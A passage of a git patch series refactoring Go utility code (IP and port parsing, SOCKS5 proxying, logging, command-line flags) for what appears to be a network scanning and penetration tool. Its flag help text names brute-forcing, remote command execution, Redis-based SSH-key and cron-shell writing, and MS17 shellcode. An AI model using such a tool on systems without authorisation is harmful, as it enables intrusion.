"192.168.1.1\n" + - "192.168.1.1/8\n" + - "192.168.1.1/16\n" + - "192.168.1.1/24\n" + - "192.168.1.1,192.168.1.2\n" + - "192.168.1.1-192.168.255.255\n" + - "192.168.1.1-255") +var ParseIPErr = errors.New("主机解析错误\n" + + "支持的格式: \n" + + "192.168.1.1 (单个IP)\n" + + "192.168.1.1/8 (8位子网)\n" + + "192.168.1.1/16 (16位子网)\n" + + "192.168.1.1/24 (24位子网)\n" + + "192.168.1.1,192.168.1.2 (IP列表)\n" + + "192.168.1.1-192.168.255.255 (IP范围)\n" + + "192.168.1.1-255 (最后一位简写范围)") +// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { + // 处理主机和端口组合的情况 (192.168.0.0/16:80) if filename == "" && strings.Contains(host, ":") { - //192.168.0.0/16:80 hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] hosts = ParseIPs(host) Ports = hostport[1] + fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) } } else { + // 解析主机地址 hosts = ParseIPs(host) + + // 从文件加载额外主机 if filename != "" { - var filehost []string - filehost, _ = Readipfile(filename) - hosts = append(hosts, filehost...) - } - } - - if len(nohosts) > 0 { - nohost := nohosts[0] - if nohost != "" { - nohosts := ParseIPs(nohost) - if len(nohosts) > 0 { - temp := map[string]struct{}{} - for _, host := range hosts { - temp[host] = struct{}{} - } - - for _, host := range nohosts { - delete(temp, host) - } - - var newDatas []string - for host := range temp { - newDatas = append(newDatas, host) - } - hosts = newDatas - sort.Strings(hosts) + fileHosts, err := Readipfile(filename) + if err != nil { + fmt.Printf("[!] 读取主机文件失败: %v\n", err) + } else { + hosts = append(hosts, fileHosts...) + fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) } } } - hosts = RemoveDuplicate(hosts) - if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { - err = ParseIPErr + + // 处理排除主机 + if len(nohosts) > 0 && nohosts[0] != "" { + excludeHosts := ParseIPs(nohosts[0]) + if len(excludeHosts) > 0 { + // 使用map存储有效主机 + temp := make(map[string]struct{}) + for _, host := range hosts { + temp[host] = struct{}{} + } + + // 删除需要排除的主机 + for _, host := range excludeHosts { + delete(temp, host) + } + + // 重建主机列表 + var newHosts []string + for host := range temp { + newHosts = append(newHosts, host) + } + hosts = newHosts + sort.Strings(hosts) + fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) + } } - return + + // 去重处理 + hosts = RemoveDuplicate(hosts) + fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) + + // 检查解析结果 + if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { + return nil, ParseIPErr + } + + return hosts, nil } func ParseIPs(ip string) (hosts []string) { @@ -85,190 +102,279 @@ func ParseIPs(ip string) (hosts []string) { return hosts } +// parseIP 解析不同格式的IP地址,返回解析后的IP列表 func parseIP(ip string) []string { reg := regexp.MustCompile(`[a-zA-Z]+`) + switch { + // 处理常用内网IP段简写 case ip == "192": return parseIP("192.168.0.0/8") case ip == "172": return parseIP("172.16.0.0/12") case ip == "10": return parseIP("10.0.0.0/8") - // 扫描/8时,只扫网关和随机IP,避免扫描过多IP + + // 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描 case strings.HasSuffix(ip, "/8"): return parseIP8(ip) - //解析 /24 /16 /8 /xxx 等 + + // 处理CIDR格式 (/24 /16 /8等) case strings.Contains(ip, "/"): return parseIP2(ip) - //可能是域名,用lookup获取ip + + // 处理域名 - 保留域名格式 case reg.MatchString(ip): - // _, err := net.LookupHost(ip) - // if err != nil { - // return nil - // } return []string{ip} - //192.168.1.1-192.168.1.100 + + // 处理IP范围格式 (192.168.1.1-192.168.1.100) case strings.Contains(ip, "-"): return parseIP1(ip) - //处理单个ip + + // 处理单个IP地址 default: testIP := net.ParseIP(ip) if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", ip) return nil } return []string{ip} } } -// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x -func parseIP2(host string) (hosts []string) { +// parseIP2 解析CIDR格式的IP地址段 +func parseIP2(host string) []string { + // 解析CIDR _, ipNet, err := net.ParseCIDR(host) if err != nil { - return + fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err) + return nil } - hosts = parseIP1(IPRange(ipNet)) - return + + // 转换为IP范围并解析 + ipRange := IPRange(ipNet) + hosts := parseIP1(ipRange) + + fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange) + return hosts } -// 解析ip段: -// -// 192.168.111.1-255 -// 192.168.111.1-192.168.112.255 +// parseIP1 解析IP范围格式的地址 func parseIP1(ip string) []string { - IPRange := strings.Split(ip, "-") - testIP := net.ParseIP(IPRange[0]) - var AllIP []string - if len(IPRange[1]) < 4 { - Range, err := strconv.Atoi(IPRange[1]) - if testIP == nil || Range > 255 || err != nil { + ipRange := strings.Split(ip, "-") + testIP := net.ParseIP(ipRange[0]) + var allIP []string + + // 处理简写格式 (192.168.111.1-255) + if len(ipRange[1]) < 4 { + endNum, err := strconv.Atoi(ipRange[1]) + if testIP == nil || endNum > 255 || err != nil { + fmt.Printf("[!] IP范围格式错误: %s\n", ip) return nil } - SplitIP := strings.Split(IPRange[0], ".") - ip1, err1 := strconv.Atoi(SplitIP[3]) - ip2, err2 := strconv.Atoi(IPRange[1]) - PrefixIP := strings.Join(SplitIP[0:3], ".") - if ip1 > ip2 || err1 != nil || err2 != nil { + + // 解析IP段 + splitIP := strings.Split(ipRange[0], ".") + startNum, err1 := strconv.Atoi(splitIP[3]) + endNum, err2 := strconv.Atoi(ipRange[1]) + prefixIP := strings.Join(splitIP[0:3], ".") + + if startNum > endNum || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum) return nil } - for i := ip1; i <= ip2; i++ { - AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i)) + + // 生成IP列表 + for i := startNum; i <= endNum; i++ { + allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) } + + fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) } else { - SplitIP1 := strings.Split(IPRange[0], ".") - SplitIP2 := strings.Split(IPRange[1], ".") - if len(SplitIP1) != 4 || len(SplitIP2) != 4 { + // 处理完整IP范围格式 (192.168.111.1-192.168.112.255) + splitIP1 := strings.Split(ipRange[0], ".") + splitIP2 := strings.Split(ipRange[1], ".") + + if len(splitIP1) != 4 || len(splitIP2) != 4 { + fmt.Printf("[!] IP格式错误: %s\n", ip) return nil } + + // 解析起始和结束IP start, end := [4]int{}, [4]int{} for i := 0; i < 4; i++ { - ip1, err1 := strconv.Atoi(SplitIP1[i]) - ip2, err2 := strconv.Atoi(SplitIP2[i]) + ip1, err1 := strconv.Atoi(splitIP1[i]) + ip2, err2 := strconv.Atoi(splitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) return nil } start[i], end[i] = ip1, ip2 } + + // 将IP转换为数值并生成范围内的所有IP startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + for num := startNum; num <= endNum; num++ { - ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) - AllIP = append(AllIP, ip) + ip := strconv.Itoa((num>>24)&0xff) + "." + + strconv.Itoa((num>>16)&0xff) + "." + + strconv.Itoa((num>>8)&0xff) + "." + + strconv.Itoa((num)&0xff) + allIP = append(allIP, ip) } + + fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) } - return AllIP + + return allIP } -// 获取起始IP、结束IP +// IPRange 计算CIDR的起始IP和结束IP func IPRange(c *net.IPNet) string { + // 获取起始IP start := c.IP.String() + + // 获取子网掩码 mask := c.Mask + + // 计算广播地址(结束IP) bcst := make(net.IP, len(c.IP)) copy(bcst, c.IP) + + // 通过位运算计算最大IP地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() - return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255 + + // 返回"起始IP-结束IP"格式的字符串 + result := fmt.Sprintf("%s-%s", start, end) + fmt.Printf("[*] CIDR范围: %s\n", result) + + return result } -// 按行读ip +// Readipfile 从文件中按行读取IP地址 func Readipfile(filename string) ([]string, error) { + // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("Open %s error, %v", filename, err) - os.Exit(0) + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return nil, err } defer file.Close() + var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + + // 逐行处理IP for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) - if line != "" { - text := strings.Split(line, ":") - if len(text) == 2 { - port := strings.Split(text[1], " ")[0] - num, err := strconv.Atoi(port) - if err != nil || (num < 1 || num > 65535) { - continue - } - hosts := ParseIPs(text[0]) - for _, host := range hosts { - HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) - } - } else { - host := ParseIPs(line) - content = append(content, host...) + if line == "" { + continue + } + + // 解析IP:端口格式 + text := strings.Split(line, ":") + if len(text) == 2 { + port := strings.Split(text[1], " ")[0] + num, err := strconv.Atoi(port) + if err != nil || num < 1 || num > 65535 { + fmt.Printf("[!] 忽略无效端口: %s\n", line) + continue } + + // 解析带端口的IP地址 + hosts := ParseIPs(text[0]) + for _, host := range hosts { + HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) + } + fmt.Printf("[*] 已解析IP端口组合: %s\n", line) + } else { + // 解析纯IP地址 + hosts := ParseIPs(line) + content = append(content, hosts...) + fmt.Printf("[*] 已解析IP地址: %s\n", line) } } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件时出错: %v\n", err) + return content, err + } + + fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) return content, nil } -// 去重 +// RemoveDuplicate 对字符串切片进行去重 func RemoveDuplicate(old []string) []string { - result := []string{} - temp := map[string]struct{}{} + // 使用map存储不重复的元素 + temp := make(map[string]struct{}) + var result []string + + // 遍历并去重 for _, item := range old { - if _, ok := temp[item]; !ok { + if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } + return result } +// parseIP8 解析/8网段的IP地址 func parseIP8(ip string) []string { + // 去除CIDR后缀获取基础IP realIP := ip[:len(ip)-2] testIP := net.ParseIP(realIP) if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP) return nil } - IPrange := strings.Split(ip, ".")[0] - var AllIP []string + // 获取/8网段的第一段 + ipRange := strings.Split(ip, ".")[0] + var allIP []string + + fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) + + // 遍历所有可能的第二、三段 for a := 0; a <= 255; a++ { for b := 0; b <= 255; b++ { - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 1)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 2)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 4)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 5)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(6, 55))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(56, 100))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(101, 150))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(151, 200))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(201, 253))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 254)) + // 添加常用网关IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器 + + // 随机采样不同范围的IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前 } } - return AllIP + + fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) + return allIP } +// RandInt 生成指定范围内的随机整数 func RandInt(min, max int) int { + // 参数验证 if min >= max || min == 0 || max == 0 { return max } + + // 生成随机数 return rand.Intn(max-min) + min } From ec346409f7db840d3a760fdd36b5f3fdb5ccfadc Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:19:40 +0800 Subject: [PATCH 013/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ParsePort.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParsePort.go | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) diff --git a/Common/ParsePort.go b/Common/ParsePort.go index cec40e8..9363913 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -1,32 +1,46 @@ package Common import ( + "fmt" + "sort" "strconv" "strings" ) -func ParsePort(ports string) (scanPorts []int) { +// ParsePort 解析端口配置字符串为端口号列表 +func ParsePort(ports string) []int { if ports == "" { - return + return nil } + + var scanPorts []int slices := strings.Split(ports, ",") + + // 处理每个端口配置 for _, port := range slices { port = strings.TrimSpace(port) if port == "" { continue } + + // 处理预定义端口组 if PortGroup[port] != "" { - port = PortGroup[port] - scanPorts = append(scanPorts, ParsePort(port)...) + groupPorts := ParsePort(PortGroup[port]) + scanPorts = append(scanPorts, groupPorts...) + fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts) continue } + + // 处理端口范围 upper := port if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { + fmt.Printf("[!] 无效的端口范围格式: %s\n", port) continue } + // 确保起始端口小于结束端口 startPort, _ := strconv.Atoi(ranges[0]) endPort, _ := strconv.Atoi(ranges[1]) if startPort < endPort { @@ -37,27 +51,40 @@ func ParsePort(ports string) (scanPorts []int) { upper = ranges[0] } } + + // 生成端口列表 start, _ := strconv.Atoi(port) end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { + fmt.Printf("[!] 忽略无效端口: %d\n", i) continue } scanPorts = append(scanPorts, i) } } + + // 去重并排序 scanPorts = removeDuplicate(scanPorts) + sort.Ints(scanPorts) + + fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) return scanPorts } +// removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { - result := []int{} - temp := map[int]struct{}{} + // 使用map存储不重复的元素 + temp := make(map[int]struct{}) + var result []int + + // 遍历并去重 for _, item := range old { - if _, ok := temp[item]; !ok { + if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } + return result } From 9433741471669d7811dc7de83e1a5a44ba8bd4f6 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:20:45 +0800 Subject: [PATCH 014/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Proxy.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/proxy.go | 69 +++++++++++++++++++++++++++++-------------------- 1 file changed, 41 insertions(+), 28 deletions(-) diff --git a/common/proxy.go b/common/proxy.go index 69a27e5..f8af40e 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -2,6 +2,7 @@ package Common import ( "errors" + "fmt" "golang.org/x/net/proxy" "net" "net/url" @@ -9,57 +10,69 @@ import ( "time" ) +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { d := &net.Dialer{Timeout: timeout} return WrapperTCP(network, address, d) } +// WrapperTCP 根据配置创建TCP连接 func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { - //get conn - var conn net.Conn + // 直连模式 if Socks5Proxy == "" { - var err error - conn, err = forward.Dial(network, address) + conn, err := forward.Dial(network, address) if err != nil { - return nil, err - } - } else { - dailer, err := Socks5Dailer(forward) - if err != nil { - return nil, err - } - conn, err = dailer.Dial(network, address) - if err != nil { - return nil, err + return nil, fmt.Errorf("建立TCP连接失败: %v", err) } + return conn, nil } - return conn, nil + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil } -func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) { +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL u, err := url.Parse(Socks5Proxy) if err != nil { - return nil, err + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) } + + // 验证代理类型 if strings.ToLower(u.Scheme) != "socks5" { - return nil, errors.New("Only support socks5") + return nil, errors.New("仅支持socks5代理") } + address := u.Host - var auth proxy.Auth - var dailer proxy.Dialer + var dialer proxy.Dialer + + // 根据认证信息创建代理 if u.User.String() != "" { - auth = proxy.Auth{} - auth.User = u.User.Username() - password, _ := u.User.Password() - auth.Password = password - dailer, err = proxy.SOCKS5("tcp", address, &auth, forward) + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) } else { - dailer, err = proxy.SOCKS5("tcp", address, nil, forward) + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) } if err != nil { - return nil, err + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) } - return dailer, nil + + return dialer, nil } From 1d0676e508d4ffe963bda8a1c06668de82f18c7c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:24:11 +0800 Subject: [PATCH 015/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Log.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/log.go | 103 +++++++++++++++++++++++++++++++------------------- 1 file changed, 65 insertions(+), 38 deletions(-) diff --git a/common/log.go b/common/log.go index 78db646..5669298 100644 --- a/common/log.go +++ b/common/log.go @@ -12,49 +12,60 @@ import ( "time" ) -var Num int64 -var End int64 -var Results = make(chan *string) -var LogSucTime int64 -var LogErrTime int64 -var WaitTime int64 -var Silent bool -var Nocolor bool -var JsonOutput bool -var LogWG sync.WaitGroup +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) +// JsonText JSON输出的结构体 type JsonText struct { - Type string `json:"type"` - Text string `json:"text"` + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 } +// init 初始化日志配置 func init() { log.SetOutput(io.Discard) LogSucTime = time.Now().Unix() go SaveLog() } +// LogSuccess 记录成功信息 func LogSuccess(result string) { LogWG.Add(1) LogSucTime = time.Now().Unix() Results <- &result } +// SaveLog 保存日志信息 func SaveLog() { for result := range Results { + // 打印日志 if !Silent { if Nocolor { fmt.Println(*result) } else { - if strings.HasPrefix(*result, "[+] InfoScan") { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): color.Green(*result) - } else if strings.HasPrefix(*result, "[+]") { + case strings.HasPrefix(*result, "[+]"): color.Red(*result) - } else { + default: fmt.Println(*result) } } } + + // 保存到文件 if IsSave { WriteFile(*result, Outputfile) } @@ -62,17 +73,20 @@ func SaveLog() { } } +// WriteFile 写入文件 func WriteFile(result string, filename string) { + // 打开文件 fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) return } + defer fl.Close() + if JsonOutput { - var scantype string - var text string + // 解析JSON格式 + var scantype, text string if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - //找到第二个空格的位置 index := strings.Index(result[4:], " ") if index == -1 { scantype = "msg" @@ -85,61 +99,74 @@ func WriteFile(result string, filename string) { scantype = "msg" text = result } + + // 构造JSON对象 jsonText := JsonText{ Type: scantype, Text: text, } + + // 序列化JSON jsonData, err := json.Marshal(jsonText) if err != nil { - fmt.Println(err) + fmt.Printf("[!] JSON序列化失败: %v\n", err) jsonText = JsonText{ Type: "msg", Text: result, } - jsonData, err = json.Marshal(jsonText) - if err != nil { - fmt.Println(err) - jsonData = []byte(result) - } + jsonData, _ = json.Marshal(jsonText) } jsonData = append(jsonData, []byte(",\n")...) _, err = fl.Write(jsonData) } else { _, err = fl.Write([]byte(result + "\n")) } - fl.Close() + if err != nil { - fmt.Printf("Write %s error, %v\n", filename, err) + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) } } +// LogError 记录错误信息 func LogError(errinfo interface{}) { if WaitTime == 0 { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) LogErrTime = time.Now().Unix() } } +// CheckErrs 检查是否为已知错误 func CheckErrs(err error) bool { if err == nil { return false } + + // 已知错误列表 errs := []string{ - "closed by the remote host", "too many connections", - "i/o timeout", "EOF", "A connection attempt failed", - "established connection failed", "connection attempt failed", - "Unable to read", "is not allowed to connect to this", - "no pg_hba.conf entry", - "No connection could be made", - "invalid packet size", - "bad connection", + "远程主机关闭连接", + "连接数过多", + "连接超时", + "EOF", + "连接尝试失败", + "建立连接失败", + "无法连接", + "无法读取数据", + "不允许连接", + "无pg_hba.conf配置项", + "无法建立连接", + "无效的数据包大小", + "连接异常", } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) for _, key := range errs { - if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) { + if strings.Contains(errLower, strings.ToLower(key)) { return true } } + return false } From 66125a3a2d312663356d1511e0f745f3725f79d2 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:25:22 +0800 Subject: [PATCH 016/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Flag.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/flag.go | 121 +++++++++++++++++++++++++++++-------------------- 1 file changed, 71 insertions(+), 50 deletions(-) diff --git a/common/flag.go b/common/flag.go index d941ff0..bdbf244 100644 --- a/common/flag.go +++ b/common/flag.go @@ -19,55 +19,76 @@ func Banner() { func Flag(Info *Config.HostInfo) { Banner() - flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") - flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") - flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") - flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") - flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") - flag.StringVar(&Domain, "domain", "", "smb domain") - flag.StringVar(&Username, "user", "", "username") - flag.StringVar(&Password, "pwd", "", "password") - flag.Int64Var(&Timeout, "time", 3, "Set timeout") - flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") - flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") - flag.IntVar(&Threads, "t", 600, "Thread nums") - flag.IntVar(&LiveTop, "top", 10, "show live len top") - flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") - flag.StringVar(&Userfile, "userf", "", "username file") - flag.StringVar(&Passfile, "pwdf", "", "password file") - flag.StringVar(&Hashfile, "hashf", "", "hash file") - flag.StringVar(&PortFile, "portf", "", "Port File") - flag.StringVar(&PocPath, "pocpath", "", "poc file path") - flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") - flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") - flag.BoolVar(&NoPoc, "nopoc", false, "not to scan web vul") - flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") - flag.IntVar(&BruteThread, "br", 1, "Brute threads") - flag.BoolVar(&NoPing, "np", false, "not to ping") - flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") - flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") - flag.BoolVar(&TmpSave, "no", false, "not to save output log") - flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") - flag.BoolVar(&Silent, "silent", false, "silent scan") - flag.BoolVar(&Nocolor, "nocolor", false, "no color") - flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") - flag.StringVar(&URL, "u", "", "url") - flag.StringVar(&UrlFile, "uf", "", "urlfile") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") - flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") - flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") - flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") - flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") - flag.IntVar(&PocNum, "num", 20, "poc rate") - flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") - flag.BoolVar(&IsWmi, "wmi", false, "start wmi") - flag.StringVar(&Hash, "hash", "", "hash") - flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test") - flag.BoolVar(&JsonOutput, "json", false, "json output") + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", 